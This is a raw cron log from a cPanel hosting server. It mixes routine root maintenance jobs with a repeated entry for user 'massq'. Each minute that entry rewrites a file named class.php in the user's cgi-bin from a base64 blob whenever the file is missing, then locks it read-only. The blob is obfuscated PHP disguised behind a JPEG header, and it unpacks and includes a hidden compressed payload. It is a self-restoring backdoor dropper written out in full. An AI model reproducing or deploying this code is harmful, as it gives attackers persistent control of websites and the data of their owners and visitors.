Sep  1 22:24:01 server CROND[8402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:24:01 server CROND[8403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:25:01 server CROND[8884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:25:01 server CROND[8886]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:25:01 server CROND[8888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:25:01 server CROND[8893]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:25:01 server CROND[8891]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  1 22:25:01 server CROND[8890]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:25:01 server CROND[8889]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:25:01 server CROND[8892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:26:01 server CROND[9778]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:26:01 server CROND[9779]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:26:01 server CROND[9780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:27:01 server CROND[10162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:27:01 server CROND[10163]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:27:01 server CROND[10164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:27:01 server CROND[10165]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 22:28:01 server CROND[10531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:28:01 server CROND[10532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:28:01 server CROND[10530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:29:01 server CROND[10902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:29:01 server CROND[10903]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:29:01 server CROND[10904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:30:01 server CROND[11273]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:30:01 server CROND[11274]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:30:01 server CROND[11275]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 22:30:01 server CROND[11276]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:30:01 server CROND[11280]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:30:01 server CROND[11278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:30:01 server CROND[11279]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:30:01 server CROND[11282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:31:01 server CROND[12087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:31:01 server CROND[12088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:31:01 server CROND[12089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:32:01 server CROND[12588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:32:01 server CROND[12589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:32:01 server CROND[12590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:33:01 server CROND[12977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:33:01 server CROND[12978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:33:01 server CROND[12979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:34:01 server CROND[13360]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 22:34:01 server CROND[13362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 22:34:01 server CROND[13361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:35:01 server CROND[13947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 22:35:01 server CROND[13950]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 22:35:01 server CROND[13948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 22:35:01 server CROND[13949]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 22:35:01 server CROND[13951]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 22:35:01 server CROND[13952]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 22:35:01 server CROND[13955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
